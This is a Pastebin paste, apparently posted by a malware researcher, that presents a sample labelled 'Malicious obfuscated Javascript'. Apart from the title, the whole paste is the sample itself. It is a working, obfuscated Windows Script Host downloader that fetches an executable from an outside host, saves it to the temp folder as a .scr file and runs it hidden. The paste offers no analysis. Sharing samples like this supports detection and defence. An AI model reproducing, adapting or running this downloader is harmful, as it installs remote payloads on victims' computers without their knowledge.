Advertisement
dynamoo

Malicious obfuscated Javascript

Feb 3rd, 2016
457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function awxSqEHgO () {
  3.     var aqc84UoSc = new this['A' + ('Ky', 'tAyq65', 'Vpa5', 'c') + 't' + ('z9xgv', 'RgkF', 'tPE', 'i') + '' + ('cl4N', 'uTY4Po', 'VkS', 'v') + 'e' + ('pLZU', 'fejDI', 'hc', 'X') + 'O' + ('xMhr', 'bql', 'PA', 'b') + 'j' + ('tq', 'TcDNP', '28wKgN', 'e') + 'c' + ('hvMzW3', 'mpKb0', 'lt6Ym', 't') + '']('WSc' + ('8vd', '1Yx', 'Vx7qjG', 'r'.split("").reverse().join("")) + 'i' + ('qJLb', 'MRgfXf', 'gRNom', 'p'.split("").reverse().join("")) + 't' + ('nYdcU', 'jl30I', 'qscC', '.'.split("").reverse().join("")) + 'S' + ('tDerSR', 'KE66F', 'uEYHz', 'h'.split("").reverse().join("")) + 'el' + ('UM1', 'cr4p3', 'nx5B', 'l'.split("").reverse().join("")) + '' );
  4.     var aY7LQetQc = aqc84UoSc['Ex' + ('GI8M', 'Oyjsw0', 'f1', 'p') + 'a' + ('2y', 'tDE', '514a', 'n') + 'd' + ('87', 'RfvG3', 'Zv', 'E') + 'n' + ('xQ0tS2', '7w', 'L3KN8', 'v') + 'i' + ('b3yU', 'NqBQuA', '4AU', 'r') + 'o' + ('nNDq', '95HdPv', 'KWx', 'n') + 'm' + ('sIiT', '9nV', 'svqn', 'e') + '' + ('bKe6Tk', '79jtTg', 'HL', 'n') + '' + ('3nKd', 'FJcaa', 'hZK1', 't') + '' + ('VyF2IZ', 'Bfyi', '2I', 'S') + '' + ('sha8', 'mj', 'WA', 't') + '' + ('CqzxY', 'AHe', 'iu', 'r') + 'i' + ('vHjz', 'MR', 'UTE', 'n') + '' + ('AO', 'hqI', 'YH6yok', 'g') + 's']('%TE' + ('lhk3BU', 'oL', 'iF6w', 'M'.split("").reverse().join("")) + 'P%' ) + String ['fr' + ('2ZM', 'QKrWj', 'hZw6kO', 'o') + '' + ('plz', '726M8D', 'QYAP', 'm') + 'C' + ('FvM', 'OCTN8', '8X', 'h') + '' + ('mM7a', '9gFiUd', 'TN', 'a') + 'r' + ('8D9Vf', 'x9LG9U', 'Bs0nz', 'C') + '' + ('IsW', 'ma', 'fX', 'o') + '' + ('6K2100', '9Mgj', 'UU9Vi', 'd') + 'e'](92) + arguments[1];
  5.     var amilaSBgQ = new this['A' + ('qyvr', 'FzaDG3', 'q6Lq7', 'c') + '' + ('UBUB', 'PKr7', 'xGT6', 't') + '' + ('0SU', 'wB', 'g2l', 'i') + '' + ('sn3n', 'YYvOJX', 'cuC6BP', 'v') + '' + ('ImMfX', 'vZ', 'ysQ', 'e') + 'X' + ('dVvb', 'jVof', 'TS', 'O') + '' + ('HG6q', 'TF', 'Ub', 'b') + 'j' + ('Js8', 'ZlAuw', 'Ns', 'e') + '' + ('Ai', 'ONCuT3', 'MJxH', 'c') + 't']('MSX' + ('E07jZs', 'tZWhrm', '1Ff', 'M'.split("").reverse().join("")) + 'L2' + ('SllV', '8FqQzX', 'eXXyXq', '.'.split("").reverse().join("")) + 'X' + ('ppIR', '2TqiK', 'a5e6Yn', 'M'.split("").reverse().join("")) + 'LH' + ('dlm3', 'k07h', 'AIQZ', 'T'.split("").reverse().join("")) + 'T' + ('KuBbM', '4Xr', '4pG', 'P'.split("").reverse().join("")) + '' );
  6.     amilaSBgQ['on' + ('caXMvX', 'Nouwfu', 'Xfrzqe', 'r') + 'e' + ('bmOg', 'v6Apj', 'm5hkZ', 'a') + '' + ('uAYYx', 'eZvEdq', 'pN', 'd') + 'y' + ('ztMaT', 'Vf', 'dA', 's') + '' + ('jER', 'Dpe', 'pJvCaG', 't') + '' + ('EIx8uH', 'AD', 'KQS', 'a') + 't' + ('cz', 'ucpJ3O', 'zrDg', 'e') + '' + ('Ub83', 'P5gsn', 'if', 'c') + 'h' + ('swpW', 'PFMD8', '4MC', 'a') + 'n' + ('xJv', 'pkGF', '3G5jD', 'g') + 'e'] = function() {
  7.         if (amilaSBgQ['re' + ('WI', 'LoEow1', 'jE1G', 'a') + '' + ('bNbwt', 'jxxpQa', 'BjRkbC', 'd') + 'y' + ('1fSvyx', 'eJiq', 'tW0k', 's') + '' + ('SEo2', '0mrk', '42p6', 't') + '' + ('BQP', '4y', 'u5Vr', 'a') + '' + ('GC8', '1bV', 'xn', 't') + '' + ('rn', 'yFNa', 'CjAb', 'e') + ''] === 4) {
  8.             var aI2HWwx9O = new this['A' + ('Hwl', 'dY5yZh', '0PQm', 'c') + 't' + ('JrQ', 'f0UR', 'v35', 'i') + 'v' + ('M7F', 'kEPSE', 'mF', 'e') + 'X' + ('1Rw', 'imaxn', 'pH', 'O') + 'b' + ('NbMz', 'sjD', '9w', 'j') + 'e' + ('Tqb', 'r3', 'clZnT', 'c') + '' + ('j53M', 'fzsx1M', '8V', 't') + '']('ADO' + ('Ajn', 'KrjXM', 'kGH', 'D'.split("").reverse().join("")) + 'B.' + ('MQMF5l', 'Dn', 'OvQvp2', 'S'.split("").reverse().join("")) + 't' + ('qMtR6', 'EqLl', 'yk', 'r'.split("").reverse().join("")) + 'ea' + ('7zvt', '8QDXm', 'tLxz', 'm'.split("").reverse().join("")) + '' );
  9.             aI2HWwx9O['op' + ('XPt', 'uT9', '1HaV6i', 'e') + 'n']();
  10.             aI2HWwx9O['ty' + ('eLBRI', 'lcISLc', '89GBxa', 'p') + 'e'] = 1;
  11.             aI2HWwx9O['wr' + ('xo', 'sv', 'Y7ec', 'i') + 't' + ('4BNpNw', 'zJ8', 'TOkqZ', 'e') + ''](amilaSBgQ['R' + ('mv', 'P1', 'O8T11', 'e') + 's' + ('Cw', 'q3M0', 'VIFJ2', 'p') + '' + ('SdIfJ', '5KzTTs', 'Ub1xIw', 'o') + 'n' + ('iYxdG', 'XJj', 'BxpRg', 's') + '' + ('1SQVlL', 'wMnejl', 'Cj', 'e') + 'B' + ('0LNJ4t', 'CSc', 'c8U5YQ', 'o') + '' + ('GWx4b', 'pbsJKi', 'v6sAA', 'd') + 'y']);
  12.             aI2HWwx9O['p' + ('Z5F8', 'K7', 'aSx7qB', 'o') + '' + ('0uK', 'e2sK9', 'kJJxcJ', 's') + 'i' + ('RDBZtM', '0ThCcy', 'GjmVm', 't') + 'i' + ('vK0et', 'rdai', 'NU', 'o') + '' + ('GVh', 'dUMM', 't5Tp', 'n') + ''] = 0;
  13.             aI2HWwx9O['sa' + ('Xt', 'bX', 'CaNVf', 'v') + 'e' + ('jSxfa7', '4TfB', 'luL', 'T') + 'o' + ('RKF', 'WCAzMo', '1Zkl', 'F') + 'i' + ('A2Z37T', 'IfE', '1rp', 'l') + 'e'](aY7LQetQc, 2);
  14.             aI2HWwx9O['c' + ('P7', 'qGuPb', 'PwRH', 'l') + '' + ('JnuR', 'Nzw', 'LySa', 'o') + '' + ('fh', 'XI', 'rx3Xmz', 's') + 'e']();
  15.         };
  16.     };
  17.     try {
  18.         akAavtudT = 'Ru' + ('fNlKEB', 'd8YZ', 'Qa8Uq', 'n'.split("").reverse().join("")) + '';
  19.         amilaSBgQ['o' + ('7XO', '1M1AA', 'yQ', 'p') + 'e' + ('Axv7LD', 'Kk', 'VsSmSY', 'n') + '']('GE' + ('yFXkHx', 'M5LEYm', 'uu', 'T'.split("").reverse().join("")) + '' , arguments[0], false);
  20.         amilaSBgQ['s' + ('HrxD', 'pZNoJN', 'ith', 'e') + 'n' + ('Py', 'VkCUGO', 'aLv', 'd') + '']();
  21.         aqc84UoSc [akAavtudT](aY7LQetQc, 1-1, 1-1);
  22.        
  23.     } catch (er) {};
  24. };
  25. awxSqEHgO('ht' + ('i6SI5F', 'Pt', '7XJK', 't'.split("").reverse().join("")) + 'p' + ('i5tDI', 'jwL', 'hhfK', ':'.split("").reverse().join("")) + '/' + ('Q7hVN', 'KgQ', 'ezCm7V', '/'.split("").reverse().join("")) + 'o' + ('yaYSH', 'mY2CI', 'byp', 'b'.split("").reverse().join("")) + 's' + ('cRft', '7HgJ4', 'EwZ', 't'.split("").reverse().join("")) + 'i' + ('Y5oJs', 'L45', 'gE', 'p'.split("").reverse().join("")) + 'a' + ('8EAn7', 'uPy', 'TWS', 't'.split("").reverse().join("")) + 'i' + ('58UbxD', 'UoI0r', 'FTHNyi', 'e'.split("").reverse().join("")) + '.' + ('AGv8U', '5NQ1', 'ZV4xyI', 'n'.split("").reverse().join("")) + 'u' + ('rspp7i', 'VR', '6x0N', '/'.split("").reverse().join("")) + '4' + ('Hte', 'kfnj', 'sQ', '3'.split("").reverse().join("")) + 'rf' + ('iHB', '61Tp9', 'gzVOAI', '3'.split("").reverse().join("")) + 'dw' + ('qlXVF', 'jZo', 'Q8W8P', '/'.split("").reverse().join("")) + '34' + ('WANlJC', 'jyqUh', 'DIE', 'f'.split("").reverse().join("")) + 'rg' + ('kOWkc', 'akEj9', 'd6M', 'e'.split("").reverse().join("")) + 'g' + ('wD4Q', 'vKu', 'ncsYPN', 'r'.split("").reverse().join("")) + 'g.' + ('7Ythj7', 'tjOz', 'P1', 'e'.split("").reverse().join("")) + 'xe' , '404' + ('bFmWN', 'q5E', 'G8Ru', '6'.split("").reverse().join("")) + '52' + ('kIBNO4', 'oiDN', 'ZFtakQ', '1'.split("").reverse().join("")) + '4' + ('bxc', '5SYWnG', 'HovvcA', '6'.split("").reverse().join("")) + '3.' + ('SCoLB', 'fM', '5Twh', 's'.split("").reverse().join("")) + 'c' + ('8wC7t', 'Nn', 'cTdpt', 'r'.split("").reverse().join("")) + '' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement